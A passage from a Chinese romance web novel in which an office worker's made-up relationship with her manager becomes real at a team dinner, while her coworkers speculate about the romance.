陈昼见她脸色不好,本想问发生什么事,结果迟念迅速挂断电话,十万火急地说:“不好意思,我有急事要先走!” 话音未落,人已经跑到门口。陈昼下意识想追过去,手臂却被导购小姐死死拉住,“先生,裙子还没付款。” * 二十分钟后,迟念赶到酒店,直奔顶楼。 房间的门没关紧,她喘着粗气,小心翼翼地推开,“伶子?你在吗?” “在。” 声音从里面传出来。 迟念循着声音的方向,看到何伶一身白衣,披散着长发,歪坐在窗边的单人沙发上。 她跑过去,上下检查一番,“怎么了,被人欺负了?” 何伶几乎脱力,摇了摇头,苦笑说:“没有,就是饿得站不起来了。” 迟念提心吊胆一路,听到她只是饿了,松了口气的同时又生气,她咬紧后槽牙,“怎么不饿死你呢。” 何伶仰起头,头发盖在脸上,看不清表情,眼神却突然灼灼,“你怎么穿这么隆重?”她抬手捻了下裙角,“这好像是D家新款哎?” 迟念一路太心急,忘记这件事,被她这么一说,才想起昂贵的价格,赶紧护住裙摆。 “不是,高仿的!” “怎么突然穿这样,公司年会啊?” 迟念无力吐槽,“拜托小姐,现在是夏天。” 呃~何伶尴尬地笑了笑,伸出双臂,有气无力,“没吃碳水是不行啊,我现在智商可能不到80。” 迟念对她的自我评分表示肯定,用力一提,何伶像面条似的站起来。 “想吃什么?” “牛!” 迟念本想带她去吃烤肉,可惜附近没有,火锅倒是并排开了两家。何伶不想走路,就随便选了一家人少的进去。 她屁股还没落座,就喊服务员,“先来十盘牛肉。” 何伶好像饿鬼转世,焦灼地等水开,这边刚冒泡,她就下了整盘牛肉进去,望眼欲穿地等熟透。 迟念怕她胃受不了,先要了一碗粥,盯着她喝进去。 “简直浪费我胃容量。”她说归说,粥却也喝到见底。 胃里有了暖意,四肢也渐渐恢复力气。事到如今,她特别后悔,后悔对自己太狠,竟然生生绝食半个月。 如果没饿,体力一定很好。那么就可以在花尧最开始强硬的时候打回去,也可以在花尧准备离开时把他拉回来。 她太生气了。 如果只是单纯睡一下,真的没什么,花尧各方面条件不错,放在一起对比,说不清他俩到底谁占了便宜。 恨就恨在他故意逗弄,整个过程她都处在下风很被动。 她塞进嘴里一块牛肉,狠狠地嚼。 迟念在旁边看不下去,用公筷翻了翻锅底,“熟了吗你就吃,小心吃坏肚子。” “熟了熟了。”她又夹了一块。 归根结底,是她太弱,各方面都弱。 家世,财力这种硬件弱也就算了,体力也弱就说不过去了,她现在宁可不演这个角色,也要把仇报回去。 吃到半饱,她在等待锅开的间隙里,低声说:“念念,你还是坚持干吧,我这边可能不需要助理了。” 迟念夹起的丸子掉回锅里,扑通一声,红油汤差点溅到裙子上,她吓的声音跑了调:“为什么啊?” “我好像演不成了。” “啊?”迟念手忙脚乱用一次性围裙把上半身包住,震惊地说:“你…你下午不是还说能演女一吗,怎么又不演了,遇到潜规则了?” 其实,从她在电话里听到“酒店”两个字时,就想了很多可能;赶到之后,看到过分奢华的房间和状态糟糕的何伶,根本不敢多问。 听到何伶这么说,再不敢面对的猜测也变成确凿。 她眼眶一酸,“是真的?” 何伶好整以暇地看着她,突然笑了,“当然不是,你还是我粉丝后援会的负责人呢,竟然给我贴黑料。” “我说真的!” “真的,没有!”何伶发誓。 迟念还是不能松弛,她说:“我当不当助理是小事,你挨欺负是大事,如果是真的,也不用怕,交给我。” 何伶被逗笑,“交给你干吗呀。” “曝光他!” “哎呀行了,真没有,你怎么像热锅上的蚂蚁似的。”她夹了一块熟透的,送进迟念碗里,“吃,多吃牛,长力气!” 迟念心不甘情不愿地吃了一口,执着地问:“到底怎么回事?” 何伶耸了耸肩,“其实也没事儿,就是我想演的女三是武将,扛大刀的,我减肥太狠了,外形不过关。” 迟念呆滞。 过了好久,她才反应过来,扬手招呼服务员。 “你好,这边再加十盘牛肉!” 第46章 第四十六章 露馅前夕 何伶因为这次的挫败一蹶不振, 连以前视为毒药的榴梿芒果双拼千层都敢吃了,她盘腿坐在瑜伽垫上,边吃边看电视。 卧室里, 迟念脱下裙子,小心翼翼地挂到窗帘杆上,随后拿出手机, 给陈昼发微信。 【小迟】:今晚非常对不起,我明天上班会把衣服带过去,吊牌没摘,你要是想退的话我可以跑腿! 消息发送成功, 她紧张地咬手指。 手机在岛台震动, 陈昼没有立刻过去看, 而是坐在沙发上, 盯着旁边的精致购物袋——里面装着迟念换下来的衣服。 丝质白衬衫, 垂坠黑西裤,散发淡淡的清香味。刚才不小心掉落在地,他在捡起的时候, 一件白色吊带从衬衫里滑出来。 他大约知道,这应该是女生穿在内衣外面, 防止走光用的,可却在指尖触到柔滑的面料时, 突然产生想闻一下的欲望。 这也是他呆坐在沙发上的原因。 震惊,不解,茫然。 单身太久,陈昼已经区分不开正常欲望和变态的分别,在犹豫着想给心理医生打电话时,手机再次震动。 他站起身, 脚步略带疲惫地走过去。 迟念发出一条消息,焦灼地等了几分钟不见回信,瞬间被菜鸟员工附体,更把折磨自己的复杂情绪抛到脑后。 【小迟】:我现在有时间,应该还有店铺没关门,要不我们见面吧。 陈昼低着头,视线停留在“我们见面吧”这几个字上,身体里好不容易有熄灭势头的火苗重新燃起。 他很想说可以,但是不确定自己能做出什么事,毕竟已经有过两次先例,每次失误之后,关系都会变冷几分。 沉吟几秒,单指打字。 ——明天见。 迟念恨不得把聊天页面盯穿,怎么就三个字?难道真的生气了?她抚着心口,积极调节情绪,并开导自己:陈昼不是小心眼的人。 可是…她太着急,没有给出合理的解释,直接穿着价值三万八的裙子跑了,这是什么行为? 答:找死的行为。 怎么办啊! 迟念欲哭无泪,她可是刚在职业规划书上写下个目标是升到主管,如果因为这件事搞砸,那…可不行! 想象的恐惧占据上风,她直接拨号过去,却听到机械的女声——对不起,您拨打的电话正在通话中… 何伶倚在门口,手里拿着吃剩个底的蛋糕,在迟念冲空气挥拳抓狂时,提议:“要不要喝酒啊,我下去买。” 陈昼回完消息的时候,接到花尧的电话,他人已经到了楼下,问他要不要去酒吧喝一杯。 他正郁结难疏,这个邀约来得刚刚好。 高级卡座,两人对坐。 花尧不是那种闲的没事随便找人出来的性格,他没长骨头似的歪坐着,喝了一口酒之后,开门见山。 “孟思妍不是暗恋你吗,大老远跑林江来,不去找你,竟然在我那赖了一天。” 这个名字很久没听到了,陈昼有些惊讶,“孟思妍?” 花尧一想到这件事就没有好气,他忙得快要死了,还得给孟叔打电话,拜托他把宝贝孙女接走。 他们从小一起长大,那孟思妍就灾星一个,每到关键时候就跳出来,差点坏事。 “可不就是,好像我欠她钱一样。” 陈昼听他抱怨的时候,喝进大半杯,很久没喝了,有些微醺,他放下杯子,随口说:“可能喜欢你。” 花尧眼睛瞪溜圆,好像被吓到了,“可别,我有女朋友了,勿扰哈。” “什么时候?我前几天还想给你介绍一个呢。”陈昼万幸那天迟念没有答应,冲前面抬手,示意这边再来一杯。 “别,不需要。”花尧脸不红气不喘,“我女朋友超爱我的。” 陈昼抬眼看他,“真的?” “我还能骗你不成。”花尧跷着二郎腿,双臂展开摊在沙发扶手边缘,饱汉子不知饿汉子饥地问:“你呢,什么时候回去联姻?” “闭嘴。” “哈!”他一想到陈叔那张忧心自己家香火的脸就想笑,三代单传的一根独苗,结果是不近女色的工作狂。 许是他的幸灾乐祸太明显,陈昼的倾诉欲望被浇灭了几分,他不再续杯,坐着听花尧说了一会儿废话之后,毫无留恋地站起身,“我先回了,明天很忙,连赶三个饭局。” 花尧含着化了一半的冰块,翻着白眼吐槽他:“啧,无趣的工作狂。” * 第二天,迟念带着这条天价裙子上班,害怕挤地铁发生意外,特意打车到的公司,结果陈昼不在。 她拎着层层包裹的纸袋,站在经理室门口,扭转门把,竟然锁了? 刚好叶珍珠从茶水间回来,她忙问:“陈经理今天还要下市场吗?” 叶珍珠见怪地看她了一眼,“你问我呀?” “呃…”迟念心跳漏了一拍,只顾着急,忘记自己和陈昼在同事眼里是恋人关系,无力地说:“最近太忙了,我们没怎么说过话。” 叶珍珠耸了耸肩,悠闲地啜了一口热茶,“应该是,这不活动结束了嘛,合作关系这么多,都得顾到。” 说完,突然想到,“哦对了,今晚聚餐,你和小陈总说了吗?” 迟念呆滞,“今晚?这么急?” “也不是急。”叶珍珠揉了揉僵硬的脖子,“我们都多久没双休过了,今天周五,晚上聚完,明后天你们好好休息,这样多好。” “…可是他今天还挺忙的。” “知道!”叶珍珠突然握住她的手,“所以只能把这个艰巨的任务交给你了,务必,一定,要让小陈总答应今晚聚餐。” 见迟念一脸犯难,叶珍珠索性摊牌,“我们也好久没有休息了,和上司聚餐还是留在工作日吧,拜托拜托!” 迟念挣扎无用,只能无奈地应下。 已经过了这么久,当初捅的大娄子还没补完。 一上午,经理室的门都没开过。吃完午饭,她把自己反锁在洗手间隔间里,纠结着给陈昼发微信。 【小迟】:陈经理,衣服我带来了,本想送到办公室里,可是门锁着,你也一直没来,要不我自己过去退? 这么一段话,删了改,改了删,编辑了十分钟才发出去。迟念蹲坐在地上,紧张地等待回信。 三分钟后,新消息弹出。 ——不用。 又是这么简短的回复,迟念职场经验贫瘠,不会揣测领导的心,这个不用,是不用送办公室还是不用退? 不知道怎么回,而且不止这一件事要说。 好紧张啊!要死! 以前在一起相处,完全没有这种感觉,现在是怎么了,一沾到和他相关的事,就方寸大乱心跳不止。 她捧着手机,笨拙地敲字。 【小迟】:好,那暂时放我工位上。 ——裙子不需要退。 【小迟】:啊…好。 【小迟】:今晚一起吃饭吧,七点,烤肉怎么样? 此刻坐在酒店高级包房里的陈昼看到新消息,眉头一皱,昨晚见面她第一句也是这个,在这种时期主动提出一起吃饭,是不是说明… 他干脆地放下筷子。 ——可以。 收到肯定的答复,迟念如释重负,退出聊天框,转进新建的聚餐群。 【小迟】:今晚聚餐,时间七点,还是之前说的那个地方。 消息发出,后面跟了十几个“收到”,最后是欢姐出来结束机械回复。 【谢欢】:辛苦小迟,在小陈总今天这么忙的情况下,还能争取到聚餐的时间,你的功劳大大的! 这会儿不忙,大家都在线上摸鱼。 ——说啥呢,毕竟女朋友。 ——之前可一点看不出来,小陈总每次开会都单把小迟揪出来骂,好像有仇似的。 ——确实,他刚调来的时候我就听说和小迟是一对,我还奇怪,以为这谁散播的谣言呢。 ——附议!可能刚过来的时候时间紧任务重,最近就还好,经常看到他们在一起,这才像情侣嘛。 迟念呆呆地看着滚动的屏幕。 大家最近貌似有些无所畏惧了,她急忙敲字,还没发出,就看娇娇也说了一句。 【梦特娇】:人应该相信自己的直觉,有没有一种可能,最开始的时候,他们确实没有在一起呢~ 迟念火速删掉打好的字,退出群聊,私信娇娇。 【小迟】:你在胡言乱语什么啊? 【梦特娇】:只是实话实说而已,你不会介意了吧?真是不好意思,大家都看到了,撤回的话好像不太好。 迟念气得磨牙,现在活动结束了,娇娇没有什么需要求她帮忙的了,马上有恃无恐,跳出来说些有的没的。 【小迟】:你到底想干吗? 【梦特娇】:怎么,这就生气了?别呀~听说对街新开了一家西餐厅,最近新出了季度限定的传奇圣代,突然想尝尝了。 迟念翻了个白眼。 【小迟】:你想得美! 【梦特娇】:不请?你都和小陈总谈上了,他那么有钱,不给你花?难道…你们只是短期床友? 【小迟】:你有毛病啊?我们怎么样和你有什么关系。 【梦特娇】:可能我比大家多知道一点吧,你这样遮遮掩掩的,我更好奇了,既然你不说,晚上聚餐的时候我直接问小陈总。 【小迟】:你现在哪? 茶水间里,娇娇喝光杯底的咖啡,晒证据似的冲欢姐晃了晃手机,“我最近一直觉得不对劲,虽然大家都默认他们是情侣,但我觉得,关系要么很肮脏,要么根本没到那一步。” 欢姐根本没多想,听她这么说,差点呛到。 “肮脏…这是啥词啊?” “实话实说罢了。”娇娇不理会聊天框新弹出的诘问,直接把手机静音关闭。 这段时间忙得要死,分不出精力想这件事,活动结束之后,才觉得不对,他们的恋情不管怎么看都有点假。 在公司里说八卦不太好,她拉着欢姐下楼,随便找了一家咖啡馆坐下。 欢姐被她弄得一头雾水,趁娇娇点单时,仔细把整个事件串联。 最初是看到迟念的朋友圈官宣,自然认为他们是恋人关系,在公司里大家都保持缄默,后来他们一起出差,回来之后就分手了。 然后…娇娇截到迟念手机里的聊天框,发现她有男朋友,紧接着被人看到小陈总带她挂急诊,结合白天她频繁干呕去厕所吐,还传过几天她怀孕的谣言。 后来,谣言突然消失,他们复合之后,大家都好似忘了中间的插曲,像最初时那样默认他们是相恋多年的情侣。 只有娇娇和自己多了这段记忆。 她瞪大眼睛,“靠靠靠!” 娇娇秒回,“是吧?” “对!”欢姐终于明白娇娇为什么说“肮脏”了。 职业规划书是她负责整理的,迟念对于下一步的规划是当上部门主管,她看到时还惊讶了一下。 以为她会和小陈总一起回广安,毕竟陈董不止一次在访谈节目中坦言希望儿子尽快结婚,那边在着急,迟念竟然无视。 娇娇端起咖啡,做作的抿了一口,“我还是倾向于他们不是正当关系。” 欢姐托着下巴,对她的结论表示同意。 “有道理,小迟最初发的朋友圈,不就是在酒店里的事后照么,虽然很快删除了,可那时候我们已经误会了。” 娇娇放下杯子,微微探身过去。 工作时不顶用的脑子,分析八卦倒灵活得很。 “肯定是迟念不满足和小陈总维持那种关系,才发的朋友圈,结果惹怒小陈总,直接和她断了关系。” 欢姐顺着她的话尾接着说,“然后她无缝谈了个男朋友,结果身体出现早孕反应,只能去找小陈总。” 娇娇倒没想过这个,因为工位靠近,最近这段时间她没看出迟念身体有什么异常,怀孕应该不可能。 欢姐专注推理,“但是她靠这个又和小陈总在一起了。” “在一起什么啊,就是单纯解决生理需要。” “对,虽说大家都默认他们是恋人,但仔细观察的话,他们之间的气氛很怪,就连聚餐吃饭转告一声这种事,迟念也推三阻四的,刚才说着说着还退群了。” “活动结束,小陈总要回去继承家产了,这边肯定要断个彻底,她竹篮打水一场空,心里肯定不舒服。” 欢姐点头,端起咖啡抿了一口。 “挺有意思,怎么看小迟都很老实啊。” 娇娇把披散下来的头发撩到耳后,撇嘴说:“可能小陈总口味刁钻吧,我这种大美女天天在他眼前晃,结果冷面无情,又是通报批评又是扣全勤的;迟念更是,一个新人,仗着背后有人,可硬气了,让她帮忙也不肯帮,还摆出那种高高在上的样子,一想到我就来气。” 欢姐恍然,“怪不得你对这件事这么上心,原来是积怨太深。” 第47章 第四十七章 我把照片发到朋友圈…… 迟念从洗手间出来, 跑回工位,发现娇娇不在。 茶水间、楼梯口、各个部门都走了个遍也没看到人。她心烦意乱地看着聊天框,感觉娇娇这次不是开玩笑。 她真的会问。 随着时间的推移, 被开除恐惧已经消失无踪了,她也不知道哪来的自信,就算被当众揭穿谎言, 也不至于丢工作。 现在心慌,单纯是觉得丢脸。 被同事知道她撒谎的事小,她主要不想在陈昼离开之前横插一杠,毕竟昨晚还帮忙试衣服, 为了周末参加的婚宴。 他或许想借这个机会表白。 在想到这种可能时, 她解开手机, 直接拨号过去。 呼叫的提示音一声连一声, 迟念焦灼地咬着指甲, 祈祷他快点接,因为她想主动坦白。 陈昼的手机在衣兜里,来电响铃被热闹的氛围掩盖, 中年男人举着酒杯,嗓门嘹亮:“陈总, 期待我们下次合作。” 说完,他仰头, 一饮而尽。 陈昼心情很好,在男人放下酒杯,准备再倒满时说:“不如现在就谈谈怎么样?” 连续打了三个,无人接听。 太阳就快落山,马上就到聚餐时间。 欢姐挎着包来找她,说话之前看了眼手表, “我已经定好包房了,联系小陈总了吗?他还在忙?” 迟念晃了晃未接通的电话,“应该在忙,要不你们先去?” 欢姐犹豫着,“这不好吧…” “没事,他会准时,你们到了之后,我们很快也到。” 不到五分钟,部门里空荡荡,只剩她一个人。 收拾东西,拎起装着昂贵连衣裙的袋子,打卡,进电梯,期间一直在拨号。 毫无意外,没有接通。 她心急如焚。 就快到七点,她乘上通往城郊的地铁,在还有一站地到达时,手机终于震动,是陈昼打来的电话。 她迅速接起。 “你在哪,我发的位置你看到了吗?” 陈昼刚从饭局脱身出来,微信显示的位置就在马路对面。 店面很大,牌匾隆重地覆盖到三层,他看了眼韩文中文叠在一起的店名,说:“我已经到了。” “啊?!” 迟念猛地站起来,“你…你先别进,等我!” 在她说话时,陈昼已经走到斑马线的一半,注意力被陆续停在店门口的车吸引。 因为车门打开之后,下来的人都是熟悉的脸。 他停住脚步,好心情荡然无存,“还有别人?” 地铁到站,迟念扒拉着堵在门口的人,急声说:“对,公司聚餐,你先别进去,我有话想和你说。” 话音刚落,从驾驶位下车的欢姐刚好转头看过来,见到站在马路中间的男人,立刻热情招手,“陈经理,这边!” 陈昼颔首,淡淡地对话筒说:“我在店里等你。” * 完了完了。 迟念出了地铁口,在人行道上狂奔,可惜还是没来得及,她眼睁睁看着陈昼被欢姐和韩主管请进店里。 没机会说了。 她气喘吁吁地进店,脸色惨白。 还和记忆里一样的装修,就是订了比上次更大的包房,韩主管依旧拉着服务员点菜,里面安排座位的欢姐注意到她。 “小迟!”她唤她过去。 迟念动作慢吞吞,欢姐急性子看不过去,一把抓住她的胳膊,强硬地按坐在椅子上,空气莫名凉飕飕的。 转头一看,旁边坐着陈昼。 他穿着白衬衫,神色平淡,仿佛和众人隔着一堵透明的高墙,整个人散发一种屈尊在这里的违和。 她不自然地打招呼,“陈经理。”说完,指了指身后,“这裙子…” 他微微侧头,瞥到挂在椅背的购物袋。欢姐刚好拉着娇娇过来,贴坐在她旁边,暧昧低语:“哎呀,这是陈经理送你的?” 欢姐觉得,活动已经结束,小陈总就要回广安了,既然答应聚餐,就不需要像上班那样恪守职务等级。 以她的经验,若想打破这种工作氛围,办公室恋情是个很好的切入点。 更何况这恋情掺了些水,以娇娇那样八卦的个性,必然要在小陈总离开之前问个清楚。 她先开口,才试探地抛了一句,就吓得迟念心惊肉跳。如果只是浮皮潦草问陈昼知道的,还勉强能混过去,只要别提朋友圈官宣那件事就好。 迟念向欢姐投去求饶的眼神,视线相触后,却注意到坐在旁边的娇娇。 盛夏炎热,她穿着一条藕粉色的中式连衣裙,卷发慵懒地披散在肩膀两边,红唇娇艳,此刻正轻咬吸管,妩媚的眼底暗含挑衅。 迟念暗暗腹诽:怎么会有这么讨厌的人。 焦灼之际,服务员天神般降临。 炭火烧得正旺,他嘴里说着“贵客让一让”,麻利地把炭火放进烤炉,盖上铁板后,又在上面铺上一层吸油纸。 韩主管捧着菜单过来,狗腿地呈到陈昼面前。 “我几乎都勾了,您过目,看看还有什么想吃的?” 陈昼轮了一天酒局,脸色稍有些疲惫,不过这样定论不太严谨,他是在发现公司聚餐而不是双人晚餐时,突然觉得累的。 他勉强打起精神,从上到下扫了一眼。 “可以了。” 韩主管“哎”了一声,把菜单递给服务员,催了一句快点上,然后拉过椅子坐下。 几双眼睛虎视眈眈围坐,和当初她官宣恋情那天很像,可那天男主角不在,她可以故作高深,信口胡说。 今天这种局势,根本演不了啊。 肉菜陆续上来,啤酒也上了两打,韩主管眼神示意欢姐和娇娇烤肉,自己先砰砰起开两瓶,先给陈昼的杯子倒满。 他含笑起身,双手捧着满杯酒,开始例行传统开场白:“陈经理,这次活动能圆满成功,多亏您亲身莅临指导…” 欢姐夹着一块厚切牛排,听他说着没有营养的场面话,在心里默默翻了个白眼,私下聚餐还这么扫兴。 好不容易攒起的轻松氛围被破坏,她在桌下踢了踢娇娇的脚,娇娇秒懂,回踢了一下,示意她不急。 高情商场面话说了一卡车,韩主管口干舌燥,他看小陈总的脸色好像不是很吃这一套,赶紧收住。 “都在酒里了!” 说完,豪迈地一饮而尽。 陈昼对他的演讲没什么兴趣,眼底无波端起酒杯,喝了一口。 韩主管讪讪地坐下。 看来小陈总和陈董不一样,留过洋的大都不喜欢这种传统做派,这一桌都是年轻人,他好像有些融不进去。 要不换桌?可不管怎么说自己也是个小领导,哪有不坐小陈总旁边的道理。 他心里打着算盘,一直没说话的迟念却突然举手。 “那个…”她指了指坐在另一张桌的叶珍珠,像犯了什么错似的,声音也有些弱,“我想坐那边。” 陈昼从刚才就发现她不对劲,简直把“不安”两个字写在脸上了,他理所当然觉得是因为传达信息有误,害怕被怪罪才这样。 他缓缓吐了一口气,决定不气了。 不过是从二人晚餐变成公司团建,没关系,只要她吃得开心就好。 他直直地盯她的侧脸,“为什么?” 迟念本以为打个报告就能走,屁股都抬起来了,没想到他这么直白地问,只能吞吞吐吐:“这…这有点晒。” 晒? 盛夏傍晚,太阳已经落下去一半,只从透明玻璃边缘射进来一窄条金色的余晖,几乎没有存在感。 他伸长胳膊,拉上遮光窗帘。 坐在门口的小吴有眼色地把包房大灯打开。 迟念心知走不成,只能怄着苦水坐下。 空气里弥漫着浓郁的肉香,滋滋啦啦的热油声,筷尾开啤酒声,隔壁桌的划拳声,气氛缓慢升温。 欢姐挥舞着剪子,把肉剪成小块,翻了几个面,待熟透之后,恭敬地把最好部位的肉推到陈昼那边。 “陈经理,您尝尝看?” 陈昼今天三个饭局,这是第四个,他不知是谁自作主张安排的聚餐,总之,胃早已抗拒任何食物。 见他不拿筷子,欢姐有些尴尬,“这店是迟念选的,我还以为她知道你的口味。” 陈昼挑眉,余光扫了眼头快埋到桌子下的迟念,拿起筷子,夹了一块放进嘴里,细细品嚼后,点了点头。 “味道不错。” 欢姐松了口气,这算很高的评价了。 娇娇也马上起身,把桌尾的青菜盘送过去,软声说:“陈经理,现在活动结束了,也下班了,我们算同龄人,可以随便说话吧?” 一听这话,迟念仅剩的一丝侥幸也随之熄灭,她的谎言即将被搬到表演台。 陈昼不知她的心理活动,斟酌之后,认定她表现出来的愧疚是因为把他骗来聚餐,这是很小的事,她不必这样。 点头回应娇娇可以,筷子夹起一块肉,放在盘子里,撞了一下迟念的腿。 声音不大不小,“你不吃?” 迟念硬着头皮抬头,几道视线同时射过来,不行了,待不下去了,心脏要爆炸。 她一脸歉意地站起身:“不好意思,我去一下洗手间。” 欢姐和娇娇挪了下椅子,给她让出离开的空隙,待人走远,娇娇凑过去咬耳朵,“看来我猜得八九不离十,她吓跑了。” 欢姐声动唇不动,“那就别问了,万一惹小陈总不高兴。” “管他呢,反正要走了,我必须得知道这是怎么回事。” “你有这劲头咋不用在工作上…”欢姐虽在吐槽,实际好奇心也就被勾起来了。 她抬起头,看到小陈总夹起一块烤好的牛肉卷进生菜里,单看神情的话,心情似乎非常不错。 这也给了她们勇气。 娇娇好奇心旺盛,她想从小陈总嘴里听到不一样的答案,刚好趁大家都在,来一场刺激的公开处刑。 她像在和好朋友聊天,语气轻松随意,“听说你和迟念谈很久了,是什么时候认识的呀?” 韩主管和欢姐同时抬头,惊愕她心直口快的同时,求解的目光也看向陈昼。 男人正用筷子夹肉,听到这句话微微顿了一下,在众人屏息的时候,不紧不慢放到生菜叶子上。 下属这么直白地过问私生活,他却丝毫没觉得这个问题逾矩,淡淡地说:“快四年了。” 欢姐在桌下按住娇娇的手,用力抓了几下,意思是——这对吗? 娇娇也没想到会是这样的答案,四年?那他们认识的时候迟念岂不是刚满二十岁?还是大学生吧… 她整个人僵在那里,喃喃道:“这…不可能啊。” 陈昼抬眼看她,手上卷肉的动作不停,四角包好后,用两根香菜缠紧,放在盘子里。 他今天耐心出奇的多。 “四年前,念念大二,我是销售经理,活动期招兼职,她来应聘,然后就认识了,相处三个月后,我主动表白。” 表白? 欢姐嘴巴张得老大,如果像娇娇说的那种关系,应该不存在表白这个环节吧… 她在桌下踩了娇娇一脚。 娇娇蹙眉,总觉得哪里不对。 “那你出国两年…” “异国恋很辛苦,我太想她,忍受不了才提前回来的。” “……” 娇娇和欢姐交换了下眼神,语气和刚才比有些犹豫,“既然感情这么好,为什么出差回来之后还分手啊?” 这个问题就太涉及隐私了,就算很好的朋友,也要看脸色才敢问,更别提下属了。 娇娇是一根直脑筋,仗着他要走,不管那么多了。 陈昼抬眼看她,整个人看不出一丝工作中的雷厉风行,平时审视冰冷的眼睛,此刻毫无攻击力。 他弯了弯唇,声音无故低了几分:“可能因为…气我把隐私的照片发到朋友圈了吧。” 第48章 第四十八章 谎言成真 迟念在洗手间里洗了把脸, 水冰凉,浇灭了不断翻腾的焦躁。冷静五分钟后,她一咬牙, 其实也没什么大不了。 谣言因她而起,大不了落下虚荣拜金的名声,后续剧情的跌宕, 也全因她戏太多,毕竟和演员共处久了,也会染上些表演欲。 如果因为这些乱七八糟的谣言造成陈昼恋情告吹,她会负荆请罪, 若是因此丢了工作, 她更无可辩驳。 心意已决, 回包房的路上已经平静。推开门, 在同事们奇怪地打量中回到座位, 深吸一口气,准备当众坦白。 可桌下的手却被突兀地握住。 是独属恋人之间那种极其亲密暧昧的,十指紧扣。 她惊愕地说不出话, 顺着手臂向上看,正对上陈昼的眼睛。他的身体自然探向她, 轻声耳语:“哪里不舒服吗,怎么去这么久?” 迟念眨了眨眼, 以为自己压力太大产生幻觉,重新低头,他们的手确实连在一起。 “呃…我…那个…”她大脑空白,下意识挣脱,却怎么都逃不出。 娇娇没吃就饱了,正托腮看她, 嘴唇紧闭,眼神是从未有过的复杂。 才几分钟的时间啊,大家怎么好似变了脸,迟念害怕这是什么恶作剧,心惊胆战地问:“发生什么事了?” 陈昼的手微微用力,笑着说:“没事。” 话被他说了,其他人自然沉默。迟念一头雾水,也不敢把手举起来问你为什么牵我,只能用惴惴不安的眼神看向他。 男人松开手,把盘子推到她这边,“吃这个。” 话音未落,从各个角落传来阵阵起哄的“哇哦”声,欢姐咂了咂嘴,颇具深意地说:“小迟,陈经理对你可真好。” 迟念紧急放弃准备好的坦白草稿,正襟危坐,回归三好员工状态。 “陈经理对谁都好。” 叶珍珠在隔壁桌,见怪地看了她一眼,“小迟,现在是下班时间,你不用练职场高情商回答了,再说,大家都知道你和陈经理是一对,有什么不好意思的。” 迟念:! 竟然就这么水灵灵地给她说出来了?!! 娇娇神烦她装傻的模样,略带酸气地插了一嘴,“你也是挺有意思,陈经理又不是拿不出手,你总遮遮掩掩干什么,平白叫人误会。” 欢姐附和:“就是,你们谈这么多年,以后别为了鸡毛蒜皮的小事闹脾气,我们不是都听你的了,装作不知道嘛。” 迟念呆滞地看她们的嘴上下翕动,这些都是当初自己信口胡说的谎话,怎么就…她脸色苍白地转过头。 和预想的公开处刑不同,男人没有惊讶,更没有反驳,甚至面色愉悦地拿起桌角的酒瓶,把自己的杯子倒满。 迟念脑海里闪过一个念头,虽然疯狂,但只剩这一个可能。 之前一直以为,想要维持谎言,必须用更多的谎言遮掩,却从没想过,谎言若被另一个人光明正大地说出来,就会变成事实。 散落满地的珠子被一一串联,那些被她刻意压抑的心动卷土重来,旖旎的碎片播放完毕,结尾是他无奈地那句。 ——有没有人说过你很笨啊? 不是笨,一点都不笨,她只是不想再犯一次自作多情的错误,宁可像鸵鸟一样把头插在沙子里,假装自己不懂。 她忽然产生一股巨大的不真实感,头隐隐眩晕着。 目之所及,有一杯倒满的酒,她想都没想就端起,本想把自己灌醉,却在嘴唇临碰杯壁时,豪爽举起。 “陈经理,这杯我敬你!” 冰凉的液体充满气泡,在她徜徉在微醺的快乐里时,听到几声善意的打趣。 “都谈这么久了,怎么还叫陈经理啊。” 陈昼直视说这句话的人,唇角微微扬起,“我们私下当然不会这样叫。” * 金色的晚霞被暗夜吞噬,包房里的气氛是和初到时截然相反的热闹,迟念喝了几大杯,小腹隐隐有些发胀。 她手臂撑着桌面,摇摇晃晃站起来。 “我去下洗手间。” 欢姐拉着椅子往前挪,让出足够宽的通道,随意瞥了一眼主位,奇怪地说:“咦,小陈总去哪了?” 店里冷气给得很足,走廊和包房的温度差了很多,迟念离开吵闹燥热的环境,感觉比刚才清醒了点。 洗手间在走廊尽头,可她走到没路,也没看到熟悉的标识。 右手边倒是有个门,被微风鼓动着,半开不开的,她试探地走过去,发现那边是收银台。 原来走反了… 本想转身往回走,却无意中听到熟悉的男声。 “刷卡。” 迟念喝了酒,反应有些慢,看到服务员从男人手里接过卡,在机器上刷了一下之后,才想到群里说的话。 不对吧。 今天聚餐是员工AA,怎么他来付款呢? 陈昼只喝了两杯,远没有达到微醺的程度,他站在收银台前,旁边的机器里吐出一张长长的小票。 余光有人影晃动,他侧头,看到半开的门里探出一张欲言又止的脸。 他接过收银员递回的卡,放进钱夹,向她走去。 猝不及防对上视线,迟念一激灵,想到刚才在包房里的一幕,从内心深处产生一种不敢面对的尴尬。 她后退一步,想逃。 结果刚转身,手臂就被拉住,整个人跌进他的怀里。 因为过程被弄得有些复杂,陈昼在表白这件事上煞费苦心,甚至熬夜看了很多攻略,网上一致认为女孩子大都在意仪式感。 玫瑰,烟火,昂贵的礼物,或是俯瞰城市的高塔。 他不擅长这样高调的仪式,如果她喜欢的话当然愿意,好不容易把人骗进服装店里,结果却在最关键的时刻前功尽弃。 积攒足够的勇气不容易,他本想忙完这几天收尾,再正式告白,结果却阴差阳错,在这样的场合表明心意。 同事们比当事人提早知道这件事,所以并不意外,而他们太过理所当然的态度,让两颗初遇的心急速跳动。 陈昼轻吐一口气,宽大的肩膀遮住她的身形,在这避人的角落里,终于可以袒露心事。 “来找我?” 迟念在他靠近的时候突然紧张,心快要跳到嗓子眼,现在又贴得这么近,几乎失去思考的能力。 “我想去厕…”温吞的回答到一半,突然惊醒,“哦,对啊。” 好热,不知道是喝了太多酒的热,还是因为男人手臂慢慢揽住她的腰热,迟念觉得自己简直像一颗熟透的番茄。 “找我做什么?”温热的气息扑在她的耳垂。 迟念不敢抬头,闷闷地说:“你为什么结账啊,今天我们AA,特意请你的。” “为什么请我?” “送你走。” “嗯?” 腰上的力道骤然消失,迟念觉得一道打量的视线落在额角,不敢回视,只能硬着头皮答:“活动结束了,你也要回去了,这是送别宴。” 陈昼好整以暇地看着她,“你很开心送我走?” 迟念迷茫地抬起头,这话听着刺耳,但是看他的样子并不像生气,酒壮怂人胆,索性把实话贯彻到底。 “挺开心的嘿嘿。” 笑容还没漾开,脸颊就被一双大手捧住,在她没有心理准备的情况下,他浅浅一吻,蜻蜓点水。 她半笑不笑的表情僵在脸上。 在这关键时刻,走廊另一头突然传来带着疑惑地询问,“小迟你上个洗手间要这么久…我去!我什么都没看到哈!” 